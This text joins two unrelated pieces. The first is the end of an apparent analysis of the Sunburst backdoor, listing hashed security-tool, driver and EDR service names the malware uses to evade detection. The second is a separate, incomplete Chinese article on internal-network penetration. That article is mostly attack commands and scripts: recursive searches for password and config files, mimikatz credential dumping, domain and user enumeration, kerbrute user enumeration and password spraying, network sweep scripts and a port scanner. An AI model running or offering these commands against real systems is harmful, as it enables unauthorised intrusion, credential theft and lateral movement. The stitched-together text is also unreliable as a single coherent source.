11913842725949116895UL | binaryninja (Binary Ninja病毒分析软件)
5449730069165757263UL | blacklight (BlacklightForensics)
292198192373389586UL | cff explorer (NTCore Explorer Suite病毒分析软件)
12790084614253405985UL | cutter (Rizin Cutter病毒分析软件)
5219431737322569038UL | de4dot (de4dotForensics)
15535773470978271326UL | debugview (DebugView病毒分析软件)
7810436520414958497UL | diskmon (DiskMon病毒分析软件)
13316211011159594063UL | dnsd (Symantec反病毒)
13825071784440082496UL | dnspy (dnSpy病毒分析软件)
14480775929210717493UL | dotpeek32 (dotPeek病毒分析软件)
14482658293117931546UL | dotpeek64 (dotPeek病毒分析软件)
8473756179280619170UL | dumpcap (Wireshark病毒分析软件)
3778500091710709090UL | evidence center (Belkasoft Evidence CenterForensics)
8799118153397725683UL | exeinfope (Exeinfo PE病毒分析软件)
12027963942392743532UL | fakedns (fakedns (iDefense)病毒分析软件)
576626207276463000UL | fakenet (fakenet病毒分析软件)
7412338704062093516UL | ffdec (Free Flash Decompiler病毒分析软件)
682250828679635420UL | fiddler (Fiddler病毒分析软件)
13014156621614176974UL | fileinsight (McAfee病毒分析软件)
18150909006539876521UL | floss (FireEye病毒分析软件)
10336842116636872171UL | gdb (gdb病毒分析软件)
12785322942775634499UL | hiew32demo (Hiew病毒分析软件)
13260224381505715848UL | hiew32 (Hiew病毒分析软件)
17956969551821596225UL | hollows_hunter (hollows hunter病毒分析软件)
8709004393777297355UL | idaq64 (IDA病毒分析软件)
14256853800858727521UL | idaq (IDA病毒分析软件)
8129411991672431889UL | idr (InsightDR?病毒分析软件)
15997665423159927228UL | ildasm (IL Disassembler病毒分析软件)
10829648878147112121UL | ilspy (ILSpy病毒分析软件)
9149947745824492274UL | jd-gui (Java Decompiler病毒分析软件)
3656637464651387014UL | lordpe (LordPE病毒分析软件)
3575761800716667678UL | officemalscanner (Officemalscanner病毒分析软件)
4501656691368064027UL | ollydbg (OllyDbg病毒分析软件)
10296494671777307979UL | pdfstreamdumper (PDFStreamDumper病毒分析软件)
14630721578341374856UL | pe-bear (PE-bear病毒分析软件)
4088976323439621041UL | pebrowse64 (Pebrowser病毒分析软件)
9531326785919727076UL | peid (PeiD病毒分析软件)
6461429591783621719UL | pe-sieve32 (PE-sieve病毒分析软件)
6508141243778577344UL | pe-sieve64 (PE-sieve病毒分析软件)
10235971842993272939UL | pestudio (pestudio病毒分析软件)
2478231962306073784UL | peview (Peview病毒分析软件)
9903758755917170407UL | pexplorer (Pexplorer病毒分析软件)
14710585101020280896UL | ppee (PPEE病毒分析软件)
14710585101020280896UL | ppee (PPEE病毒分析软件)
13611814135072561278UL | procdump64 (ProcDump病毒分析软件)
2810460305047003196UL | procdump (ProcDump病毒分析软件)
2032008861530788751UL | processhacker (Process Hacker病毒分析软件)
27407921587843457UL | procexp64 (Process Explorer病毒分析软件)
6491986958834001955UL | procexp (Process Explorer病毒分析软件)
2128122064571842954UL | procmon (ProcMon病毒分析软件)
10484659978517092504UL | prodiscoverbasic (ProDiscoveryForensics)
8478833628889826985UL | py2exedecompiler (Py2ExeDecompiler病毒分析软件)
10463926208560207521UL | r2agent (Radare2病毒分析软件)
7080175711202577138UL | rabin2 (Radare2病毒分析软件)
8697424601205169055UL | radare2 (Radare2病毒分析软件)
7775177810774851294UL | ramcapture64 (Ram CapturerForensics)
16130138450758310172UL | ramcapture (Ram CapturerForensics)
506634811745884560UL | reflector (Red Gate Reflector病毒分析软件)
18294908219222222902UL | regmon (RegMon病毒分析软件)
3588624367609827560UL | resourcehacker (Resource Hacker病毒分析软件)
9555688264681862794UL | retdec-ar-extractor (Avast RetDec病毒分析软件)
5415426428750045503UL | retdec-bin2llvmir (Avast RetDec病毒分析软件)
3642525650883269872UL | retdec-bin2pat (Avast RetDec病毒分析软件)
13135068273077306806UL | retdec-config (Avast RetDec病毒分析软件)
3769837838875367802UL | retdec-fileinfo (Avast RetDec病毒分析软件)
191060519014405309UL | retdec-getsig (Avast RetDec病毒分析软件)
1682585410644922036UL | retdec-idr2pat (Avast RetDec病毒分析软件)
7878537243757499832UL | retdec-llvmir2hll (Avast RetDec病毒分析软件)
13799353263187722717UL | retdec-macho-extractor (Avast RetDec病毒分析软件)
1367627386496056834UL | retdec-pat2yara (Avast RetDec病毒分析软件)
12574535824074203265UL | retdec-stacofin (Avast RetDec病毒分析软件)
16990567851129491937UL | retdec-unpacker (Avast RetDec病毒分析软件)
8994091295115840290UL | retdec-yarac (Avast RetDec病毒分析软件)
13876356431472225791UL | rundotnetdll (RunDotNetDLL病毒分析软件)
14968320160131875803UL | sbiesvc (Sandbox的IE虚拟化/容易)
14868920869169964081UL | scdbg (SCDBG病毒分析软件)
106672141413120087UL | scylla_x64 (Scylla病毒分析软件)
79089792725215063UL | scylla_x86 (Scylla病毒分析软件)
5614586596107908838UL | shellcode_launcher (Shellcode Launcher病毒分析软件)
3869935012404164040UL | solarwindsdiagnostics (SolarWindsdev/test)
3538022140597504361UL | sysmon64 (SysmonEDR)
14111374107076822891UL | sysmon (SysmonEDR)
7982848972385914508UL | task explorer (Task Explorer病毒分析软件)
8760312338504300643UL | task explorer-64 (Task Explorer病毒分析软件)
17351543633914244545UL | tcpdump (tcpdump病毒分析软件)
7516148236133302073UL | tcpvcon (TCPView病毒分析软件)
15114163911481793350UL | tcpview (TCPView病毒分析软件)
15457732070353984570UL | vboxservice (VirtualBox虚拟化/容易)
16292685861617888592UL | win32_remote (IDA病毒分析软件)
10374841591685794123UL | win64_remotex64 (IDA病毒分析软件)
3045986759481489935UL | windbg (WinDbg (Microsoft)病毒分析软件)
17109238199226571972UL | windump (WinPcap WinDump病毒分析软件)
6827032273910657891UL | winhex64 (WinHex病毒分析软件)
5945487981219695001UL | winhex (WinHex病毒分析软件)
8052533790968282297UL | winobj (WinObj病毒分析软件)
17574002783607647274UL | wireshark (Wireshark病毒分析软件)
3341747963119755850UL | x32dbg (x64dbg病毒分析软件)
14193859431895170587UL | x64dbg (x64dbg病毒分析软件)
17439059603042731363UL | xwforensics64 (X-Ways Forensics病毒分析软件)
17683972236092287897UL | xwforensics (X-Ways Forensics病毒分析软件)
700598796416086955UL | redcloak (Red Cloak / SecureWorksEDR)
3660705254426876796UL | avgsvc (AVG反病毒)
12709986806548166638UL | avgui (AVG反病毒)
3890794756780010537UL | avgsvca (AVG反病毒)
2797129108883749491UL | avgidsagent (AVG反病毒)
3890769468012566366UL | avgsvcx (AVG反病毒)
14095938998438966337UL | avgwdsvcx (AVG反病毒)
11109294216876344399UL | avgadminclientservice (AVG反病毒)
1368907909245890092UL | afwserv (Avast反病毒)
11818825521849580123UL | avastui (Avast反病毒)
8146185202538899243UL | avastsvc (Avast反病毒)
2934149816356927366UL | aswidsagent (Avast/AVG反病毒)
13029357933491444455UL | aswidsagenta (Avast/AVG反病毒)
6195833633417633900UL | aswengsrv (Avast/AVG反病毒)
2760663353550280147UL | avastavwrapper (Avast反病毒)
16423314183614230717UL | bccavsvc (Avast反病毒)
2532538262737333146UL | psanhost (熊猫安全EDR)
4454255944391929578UL | psuaservice (熊猫安全EDR)
6088115528707848728UL | psuamain (熊猫安全EDR)
13611051401579634621UL | avp (卡巴斯基反病毒)
18147627057830191163UL | avpui (卡巴斯基反病毒)
17633734304611248415UL | ksde (卡巴斯基EDR)
13581776705111912829UL | ksdeui (卡巴斯基EDR)
7175363135479931834UL | tanium (TaniumEDR)
3178468437029279937UL | taniumclient (TaniumEDR)
13599785766252827703UL | taniumdetectengine (TaniumEDR)
6180361713414290679UL | taniumendpointindex (TaniumEDR)
8612208440357175863UL | taniumtracecli (TaniumEDR)
8408095252303317471UL | taniumtracewebsocketclient64 (TaniumEDR)
### 5.3 驱动HASH黑名单
HASH | 驱动名称
---|---
17097380490166623672UL | cybkerneltracker.sys (CyberArk)
15194901817027173566UL | atrsdfw.sys (Altiris / Symantec)
12718416789200275332UL | eaw.sys (Raytheon Cyber Solutions)
18392881921099771407UL | rvsavd.sys (OPSWAT / CJSC Returnil)
3626142665768487764UL | dgdmk.sys (Verdasys)
12343334044036541897UL | sentinelmonitor.sys (SentinelOne)
397780960855462669UL | hexisfsmonitor.sys (Hexis Cyber Solutions)
6943102301517884811UL | groundling32.sys (Dell Secureworks)
13544031715334011032UL | groundling64.sys (Dell Secureworks)
11801746708619571308UL | safe-agent.sys (SAFE-Cyberdefense)
18159703063075866524UL | crexecprev.sys (Cybereason)
835151375515278827UL | psepfilter.sys (Absolute Software)
16570804352575357627UL | cve.sys (Absolute Software Corp.)
1614465773938842903UL | brfilter.sys (Bromium - App allowlisting)
12679195163651834776UL | brcow_x_x_x_x.sys (Bromium - App allowlisting)
2717025511528702475UL | lragentmf.sys (LogRhythm)
17984632978012874803UL | libwamf.sys (OPSWAT development)
### 5.4 服务HASH黑名单
HASH | 安全厂商名称
---|---
11385275378891906608UL | carbonblack (Carbon Black - App allowlisting)
13693525876560827283UL | carbonblackk (Carbon Black - App allowlisting)
17849680105131524334UL | cbcomms (Carbon Black - App allowlisting)
18246404330670877335UL | cbstream (Carbon Black - App allowlisting)
8698326794961817906UL | csfalconservice (Crowdstrike Falcon - EDR)
9061219083560670602UL | csfalconcontainer (Crowdstrike Falcon - EDR)
11771945869106552231UL | csagent (Crowdstrike - EDR)
9234894663364701749UL | csdevicecontrol (Crowdstrike - EDR)
8698326794961817906UL | csfalconservice (Crowdstrike Falcon - EDR)
15695338751700748390UL | xagt (FireEye - EDR)
640589622539783622UL | xagtnotif (FireEye - EDR)
15695338751700748390UL | xagt (FireEye - EDR)
9384605490088500348UL | fe_avk (FireEye - EDR)
6274014997237900919UL | fekern (FireEye - Forensics)
15092207615430402812UL | feelam (ESET - EDR)
3320767229281015341UL | fewscservice (FireEye - Forensics)
3200333496547938354UL | ekrn (ESET - EDR)
14513577387099045298UL | eguiproxy (ESET - EDR)
607197993339007484UL | egui (ESET - EDR)
15587050164583443069UL | eamonm (ESET - EDR)
9559632696372799208UL | eelam (ESET - EDR)
4931721628717906635UL | ehdrv (ESET - EDR)
3200333496547938354UL | ekrn (ESET - EDR)
2589926981877829912UL | ekrnepfw (ESET - EDR)
17997967489723066537UL | epfwwfp (ESET - EDR)
14079676299181301772UL | ekbdflt (ESET - EDR)
17939405613729073960UL | epfw (ESET - EDR)
521157249538507889UL | fsgk32st (F-Secure - EDR)
14971809093655817917UL | fswebuid (F-Secure - EDR)
10545868833523019926UL | fsgk32 (F-Secure - EDR)
15039834196857999838UL | fsma32 (F-Secure - EDR)
14055243717250701608UL | fssm32 (F-Secure - EDR)
5587557070429522647UL | fnrb32 (F-Secure - EDR)
12445177985737237804UL | fsaua (F-Secure - EDR)
17978774977754553159UL | fsorsp (F-Secure ORSP - EDR)
17017923349298346219UL | fsav32 (F-Secure - EDR)
17624147599670377042UL | f-secure gatekeeper handler starter (F-Secure - EDR)
16066651430762394116UL | f-secure network request broker (F-Secure - EDR)
13655261125244647696UL | f-secure webui daemon (F-Secure - EDR)
12445177985737237804UL | fsaua (F-Secure - EDR)
3421213182954201407UL | fsma (F-Secure - EDR)
14243671177281069512UL | fsorspclient (F-Secure ORSP - EDR)
16112751343173365533UL | f-secure gatekeeper (F-Secure - EDR)
3425260965299690882UL | f-secure hips (F-Secure - EDR)
9333057603143916814UL | fsbts (F-Secure - EDR)
3413886037471417852UL | fsni (F-Secure - EDR)
7315838824213522000UL | fsvista (F-Secure - EDR)
13783346438774742614UL | f-secure filter (F-Secure - EDR)
2380224015317016190UL | f-secure recognizer (F-Secure - EDR)
3413052607651207697UL | fses (F-Secure - EDR)
3407972863931386250UL | fsfw (F-Secure - EDR)
10393903804869831898UL | fsdfw (F-Secure - EDR)
12445232961318634374UL | fsaus (F-Secure - EDR)
3421197789791424393UL | fsms (F-Secure - EDR)
541172992193764396UL | fsdevcon (F-Secure - EDR
## 6.参考文献
[1] Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise
Multiple Global Victims With Sunburst Backdoor
<https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-Sunburst-backdoor.html>
[2] Sunburst Additional Technical Details
<https://www.fireeye.com/blog/threat-research/2020/12/Sunburst-additional-technical-details.html>
[3] Analyzing Solorigate, the compromised DLL file that started a
sophisticated cyberattack, and how Microsoft Defender helps protect customers
<https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/>
[4] 从Solarwinds供应链攻击（金链熊）看APT行动中的隐蔽作战
<https://mp.weixin.qq.com/s/DsFgqpQ2Gbs0j0aQaFbsYA>
[5] Sunburst Cracked
<https://github.com/ITAYC0HEN/Sunburst-Cracked>
[6] Sunburst DGA decoder
<https://github.com/2igosha/Sunburst_dga>
[7] Living Off The Land Binaries and Scripts (and also Libraries)
<https://lolbas-project.github.io/>
[8] Bring Your Own Land (BYOL) – A Novel Red Teaming Technique
<https://www.fireeye.com/blog/threat-research/2018/06/bring-your-own-land-novel-red-teaming-technique.html>
[9] ProcessColor.cna
<https://github.com/harleyQu1nn/AggressorScripts/blob/master/ProcessColor.cna#L10>
[10] Seatbelt InterestingProcessesCommand
<https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Commands/Windows/InterestingProcessesCommand.cs>
[11] Sliver
<https://github.com/BishopFox/sliver>
* * * | 社区文章 |
**开篇**
我写下这篇文章是两个目的
（1）最近要有项目了，很久没做内网了，温习一下。
（2）希望正在学习安全的小伙伴不要踏入我初学内网的误区。
先来谈谈我对内网的理解吧，不是技术的方向。
内网学的东西很多，很杂。当时我问了我的大哥，他给我的一句话确实影响我至今。我说内网就说信息收集，cmd命令能收集，powershell收集也很多，还有类似wmic，或者一些脚本语言写的信息收集工具，太多了，这些都要学真的太浪费时间了。他是这么跟我说的，很多东西你要学一辈子都学不完，但是你把一个东西学好了，结果都是一样的。确实是这么个道理，学习需要广度，能让你碰到不同的情况乃至极限情况你有解决问题的思路。学习需要深度，你能在正常情况下创造乃至开辟一条新的道路。所以说完全没有必要什么命令都背什么命令都记得清清楚楚，最重要的是要有自己的一套渗透手法，能够达到效果，就是好的。没人在乎你的过程，除非你真的很6。好了。开始今天的主题。
内网这一块不是我的擅长，但是也有幸参加过一些护网，做过一点内网渗透。总结性的来说说我的思路。
一般来说，我们拿了权限做的第一件事是维权，维权这一块以后再说。因为现在很多时候涉及免杀，免杀这一块我研究的不是很多。然后就会对当前主机进行信息收集。我就献丑说一下自己的信息收集思路。可能命令不是很多，都是靠平时自己收集的，主要是提供一个思路，如何实现自动化并且不触发告警，才是应该操心的。
**文件类**
（1）配置文件
如果是从web打进去的，配置文件是一定要找到，找到了数据库的账号密码，如果是站库分离可能会拿下第二台，如果不是也能获取数据库的数据，或者说用来做密码复用。配置文件一般就在web目录找config等标志性文件。其中如果密码存在加密的大众系统可以试试去github找找有没有解密脚本。自定义的加密可以尝试找源码进行破解。
（2）敏感文件
桌面是一定要看的，很多人有保存文件在桌面的习惯，特别是个人机。很有可能记录了一些密码信息或者其他网站的登录账号密码信息，以及一些敏感文件。
（3）其他目录
这种就是比较随缘了，因为个人习惯不同，稍微有点安全的人可能不会放在桌面，放在D盘啊等地方。这种可能就不是很好找，但是也可以全局搜索文件名，文件内容包含passwd，user，password等字段的文件。回收站也可以看看。
下面放一些我常用的命令，来源于之前记录的别人发的，但是原文找不到了。自己根据实际情况改。
dir %APPDATA%\Microsoft\Windows\Recent //查看最近打开的文档
findstr /si password config.* *.ini *.txt *.properties //递归搜索后面文件的password字段
dir /a /s /b "*conf*" > 1.txt //递归查找当前目录包含conf的文件
findstr /s /i /c:"Password" 目录\*.txt //递归查找目录下的txt中的oassword字段
for /r 目录 %i in (account.docx,pwd.docx,login.docx,login*.xls) do @echo %i >> C:\Users\e0mlja\desktop\123.txt //递归查找目录下的敏感文件输出到桌面123.txt中
指定目录搜索各类敏感文件
dir /a /s /b d:\"*.txt"
dir /a /s /b d:\"*.xml"
dir /a /s /b d:\"*.mdb"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.mdf"
dir /a /s /b d:\"*.eml"
dir /a /s /b d:\"*.pst"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"
收集各类账号密码信息
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
**第一阶段：计算机信息类**
毕竟域环境多了一些拿域控，或者kerberos认证等等的东西，就还是分开吧。很多时候盲目的去找一些命令是徒劳无功的，最主要是你要清楚自己要做什么，针对性的作信息收集。这里都是说的手动的，工具类的会放到最后面。
**工作组**
（1） **ip信息** （主要判断自己的位置已经确定能横向的方向）
ipconfig /all 网卡信息
route print 查看路由表 看能到达的地方
arp -a 查看arp表 看缓存
hosts 文件
还有其他的可以自行去做去找，正常情况下这几个命令也够了，wmic ps那些也可以做到，但是没必要，集成的现在太容易被杀了，其他工具也还是靠着平时自己积累。
（2） **端口收集** （主要是判断开放了哪些端口，和哪些机器连通，有没有后续利用的可能）
netstat-ano //一条就够了，不需要太多的花里胡哨
也可以自己去根据习惯找一些其他的方式。还有一些简化的比如查看特定状态端口根据自己的需要去筛选。findstr命令等实现。
（3） **进程收集**
（主要是看看开启了哪些进程，管理员进程可能涉及提权，杀软进程可能涉及免杀，还有一些第三方的进程可能涉及可以做权限维持，这种都是根据需要去确定的）
tasklist /svc //查看所有进程
tasklist /v //查看进程启动的用户
taskkill /f /PID //关闭某个pid的进程
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe //查看本机杀软
对于防火墙配置一类的，我这里没有涉及，是因为特殊情况下才会做。
（4） **服务收集** （主要是可能涉及一些提权，已经从服务中提取敏感信息比如说抓取密码等，可以通过产品和进程去判断）
wmic product get name,version
tasklist /svc
wmic service list brief //服务信息收集
（5） **计划任务** （涉及提权，权限维持等，也可能通过计划任务发现脚本文件中可能存在敏感内容）
schtasks /query
（6） **用户收集** （主要是对提权或者横向移动做铺垫）
net user 查看用户
net localgroup Administrators 查看管理员组
whoami 当前用户
（7） **凭证收集**
（1）hash mimikatz
（2）浏览器及第三方软件密码 （利用各种工具或自己写）
（3）wifi密码等
（4）rdp密码
这一块最常用的还是抓hash，肯定首推是mimikatz。不过要做好免杀，免杀的方式就不说了，之前测试一些脚本加载过某0还是没有问题的，现在很久没弄过了不知道了。关于其他的一些比如xshell，浏览器密码抓取的工具，就需要自己平时多收集了，当前有条件的自己写也还是没问题的。还要个人机上一些wifi密码可能也有用，这个就看自己习惯了。
（8） **其他收集** （主要是一些共享啊之类的）
net share //查看共享
net use //查看ipc$
systeminfo //查看计算机信息（提权可能会用，也能判断域环境已经操作系统版本）
wmic startup get command,caption 查看自启动
wmic share get name,path,status 查看共享
net start 查看当前机器启动的服务
cmdkey /l# 查看保存的凭证
**域环境**
工作组的环境比较单一，且鉴权都是在本地做，所以没有太多的花里胡哨。域环境可能会麻烦一点，接下来我会从思路上去简述信息收集，争取能够给大家一个比较清晰的脑图，现在我们暂定我们的目标是域控。
（1）当我们拿到一个机器之后，肯定是先判断域环境
（2）确实是域环境以后，要对本机做信息收集
（3）需要判断域控
（4）鉴于有委派或者约束委派这些攻击方式，可能会需要查找一些服务用户，也就是spn相关。
（5）域环境中exchange的权限很高的，有经验的老师傅可能会进来就找邮服，这一块我没有做过，就说一下我自己收集的。
（6）面试的时候会必问的问题，如果寻找域控，如何拿下域控，对于这些方法需要的前提，都是我们必须要进行收集的。
对于本机的收集上面重复的我就不多说了，注意一下下面的点就行了。
**（1）ip收集**
此时的ip收集我们需要关注一下dns，因为通常情况下，域控可能就是dns服务器。
**（2）端口搜集**
本机端口收集还是正常的和工作组一样
**（3）进程收集**
此时的进程收集我们需要留意一下域管启用的进程，如果能够窃取hash，或者直接导出域管hash，基本已经意味着我们有域控权限了。
**（4）服务收集**
setspn -T domain -q */* //spn收集 后续能利用的太多了，搜索服务用户，搜索域中存在的服务
**（5）用户与机器收集**
wmic useraccount get /all 查看域用户详情
net user /domain ------> 查询域用户
net group /domain ------> 查询域里面的工作组
net group "domain admins" /domain ------> 查询域管理员用户组
net localgroup administrators /domain ------> 登录本机的域管理员
query user || qwinsta 查看在线用户
net view ------> 查询同一域内机器列表
net view /domain ------> 查询域列表
**（6）凭证收集**
和上面一样，只不过这里可以针对权限去分出来从目前的用户看我们有什么权限
**（7）其他收集**
也是属于捡垃圾了，杂七杂八的收集，没想到，想到了再说。
**第二阶段：横向信息收集**
经过我们上面各个模块的收集完成后，我们对我们当前计算机的情况已经有所了解了。该提权提权，改拿小本本记录就记录。现在进入第二阶段了，横向移动的收集。横向我分为两种，一种是定向横向，比如我专门打邮服，或者专门打弱口令，只扫描特定端口。还有一种是全方位横向，就是我对所有可达的ip端都进行探测，这种动静就会比较大，但是横向最主要其实也是收集ip和端口了。有web业务打web，有弱口令能ssh或者rdp就试试，ftp能匿名访问也是分，redis未授权可能还能弹回来个shell。这里就八仙过海各显神通了。我这里分为ip和端口进行收集来讨论。
**ip类**
集成的工具最后再说，先说手动的。
常见的可能是利用脚本或者cmd命令进行收集。这里列举几个
1:ping
for /l %i in (1,1,255) do @ping 172.16.2.%i -w 1 -n 1|find /i "ttl="
2.powershell
1..255 | % {echo "192.168.158.$_"; ping -n 1 -w 100 192.168.158.$_} | Select-String ttl
3.集成脚本
@echo off
rem 内网存活段自动发现脚本 [Windows]
rem By Klion
rem 2020.7.1
setlocal enabledelayedexpansion
for /l %%i in (0,1,255) do (
for /l %%k in (0,1,255) do (
ping -w 1 -n 1 10.%%i.%%k.1 | findstr "TTL=" >nul || ping -w 1 -n 1 10.%%i.%%k.254 | findstr "TTL=" >nul
if !errorlevel! equ 0 (echo 10.%%i.%%k.0/24 is alive ! >> alive.txt ) else (echo 10.%%i.%%k.0/24 May be sleeping ! )
)
)
for /l %%s in (16,1,31) do (
for /l %%d in (0,1,255) do (
ping -n 1 -w 1 172.%%s.%%d.1 | findstr "TTL=" >nul || ping -w 1 -n 1 172.%%s.%%d.254 | findstr "TTL=" >nul
if !errorlevel! equ 0 (echo 172.%%s.%%d.0/24 is alive ! >> alive.txt ) else (echo 172.%%s.%%d.0/24 May be sleeping ! )
)
)
for /l %%t in (0,1,255) do (
ping -n 1 -w 1 192.168.%%t.1 | findstr "TTL=" >nul || ping -n 1 -w 1 192.168.%%t.254 | findstr "TTL=" >nul
if !errorlevel! equ 0 (echo 192.168.%%t.0/24 is alive ! >> alive.txt ) else (echo 192.168.%%t.0/24 May be sleeping ! )
)
4.自己利用python等写一些扫描的脚本
5.利用arp，netBios，tcp，udp等协议探测
**端口类**
1.python
# This script runs on Python 3
import socket, threading
def TCP_connect(ip, port_number, delay, output):
TCPsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
TCPsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
TCPsock.settimeout(delay)
try:
TCPsock.connect((ip, port_number))
output[port_number] = 'Listening'
except:
output[port_number] = ''
def scan_ports(host_ip, delay):
threads = [] # To run TCP_connect concurrently
output = {} # For printing purposes
# Spawning threads to scan ports
for i in range(10000):
t = threading.Thread(target=TCP_connect, args=(host_ip, i, delay, output))
threads.append(t)
# Starting threads
for i in range(10000):
threads[i].start()
# Locking the script until all threads complete
for i in range(10000):
threads[i].join()
# Printing listening ports from small to large
for i in range(10000):
if output[i] == 'Listening':
print(str(i) + ': ' + output[i])
def main():
host_ip = input("Enter host IP: ")
delay = int(input("How many seconds the socket is going to wait until timeout: "))
scan_ports(host_ip, delay)
if __name__ == "__main__":
main()
2.powershell
24..25 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.1.119",$_)) "Port $_ is open!"} 2>$null
24..25 |% {echo "$_ is "; Test-NetConnection -Port $_ -InformationLevel "Quiet" 192.168.1.119}2>null
3.telnet
按照这种思路下来，我们只需要针对我们某个步骤，选择我们理想的方式或者工具去实现，就能收集到很多的信息。而且思路清晰，明确自己下一步需要做什么。
1.用户名枚举（因为kerberos验证的原因，非域情况下能够枚举域用户，原理自己可以看一下，这里我没有能力自己写工具，就放一些工具链接）
msf：auxiliary/gather/kerberos_enumusers
nmap:Nmap –p 88 –script-args krb5-enum-users.realm=’[domain]’,userdb=[user list] [DC IP]
kerbrute:kerbrute_windows_amd64.exe userenum --dc ip -d 域名 user.txt
DomainPasswordSpray:
Get-DomainUserList -Domain 域名 -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt
2.密码喷射
kerbrute：kerbrute_windows_amd64.exe passwordspray --dc ip -d 域名 user.txt 密码
nvoke-DomainPasswordSpray -Domain 域名 -UserList .\userlist.txt -Password '密码
3.查找域控
nltest /DCLIST:GOD 查域控
Nslookup -type=SRV _ldap._tcp 查看域控主机名
net group “Domain Controllers” /domain 查看域控组内域控主机
net group “Domain Controllers” /domain 查看域控列表
net time /domain
nltest /dclist:[域名] 查看域控机器名
dsquery server 得到域控制器的IP
netdom query pdc
ipconfig /all 查看dns
扫描139等不常见但域控会开启的端口
4.获取域控的方法(这里不说钓鱼欺骗类的这种，中继后续都开了SMB签名也不说吧）
(1).抓域管密码横向
(2).通过域管进程横向
(3)利用已知漏洞（打印机，14068，zerologon等）
(4)委派攻击
(5)利用第三方软件如邮服等
(6)组策略做密码复用
(7)金银票据（主要用来做维权的，多学点没错，也写在这里吧）
5.判断域环境
net time /domain
ipconfig /all
systeminfo
net config workstation
**工具**
**用户**
用户爆破
<https://github.com/ropnop/kerbrute>
用户枚举
<https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn>
<https://github.com/mubix/netview/>
获取服务用户
kerberoast
GetUserSPNs.ps1
**ip**
（1）nbtscan.exe
（2）arpscan.exe
（3）ServerScan <https://github.com/Adminisme/ServerScan>
（4）msf模块
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/netbios/nbname
**端口**
端口爆破
PortBrute <https://github.com/awake1t/PortBrute>
**服务**
MSF
auxiliary/scanner/smb/smb_version
auxiliary/scanner/ftp/ftp_version 发现ftp
auxiliary/scanner/ssh/ssh_version 发现ssh
auxiliary/scanner/telnet/telnet_version 发现telnet
auxiliary/scanner/mysql/mysql_version 发现mysql
密码爆破
<https://github.com/fireeye/gocrack>
<https://github.com/dafthack/DomainPasswordSpray>
web扫描
<https://github.com/broken5/bscan>
<https://github.com/phantom0301/PTscan>
**域与非域集合工具**
（1）Seatbelt.exe
Seatbelt.exe -group=user -full 运行普通用户权限检查的模块 -full返回输出
Seatbelt.exe -group=all 运行所有模块（需要管理员权限）
Seatbelt.exe -group=system #运行检查系统相关的信息
Seatbelt.exe -group=misc #运行所有其他检查（包括浏览器记录）
Seatbelt.exe -group=chrome 运行浏览器历史等模块
（2）BloodHound
<https://github.com/BloodHoundAD/BloodHound/releases>
（3）WinPwn
<https://github.com/S3cur3Th1sSh1t/WinPwn/>
（4）domainTools
<https://github.com/SkewwG/domainTools>
（5）Rubeus.exe
<https://github.com/GhostPack/Rubeus>
（6）powerview && powersploit
（7）fscan
<https://github.com/shadow1ng/fscan>
**集合脚本**
（1）wmic
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html
（2）powershell
Function Get-InstalledSoftware{
<#
.SYNOPSIS
Gets a computers Name, Operating System,OS Architecture and all installed Software Name,Version and IdentifyingNumber.
Returns it all in a powershell object.
.EXAMPLE
Get-InstalledSoftware -computername localhost
.EXAMPLE
Get-InstalledSoftware -computername comp1,comp2,comp3
.EXAMPLE
Get-Content computers.txt | Get-InstalledSoftware | Export-Csv C:\SoftwareReport.csv
.PARAMETER computername
One or more computer names seperated by comma.
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true,ValueFromPipeline=$true)]
[string[]]$ComputerName
)
BEGIN{
}
PROCESS
{
foreach($computer in $ComputerName){
try {
$software = Get-WmiObject -Class Win32_Product -ComputerName $ComputerName -ErrorAction Stop
} catch {
Write-Host "$computer Offline"
}
$os = Get-WMIObject -Class win32_operatingsystem -ComputerName $ComputerName
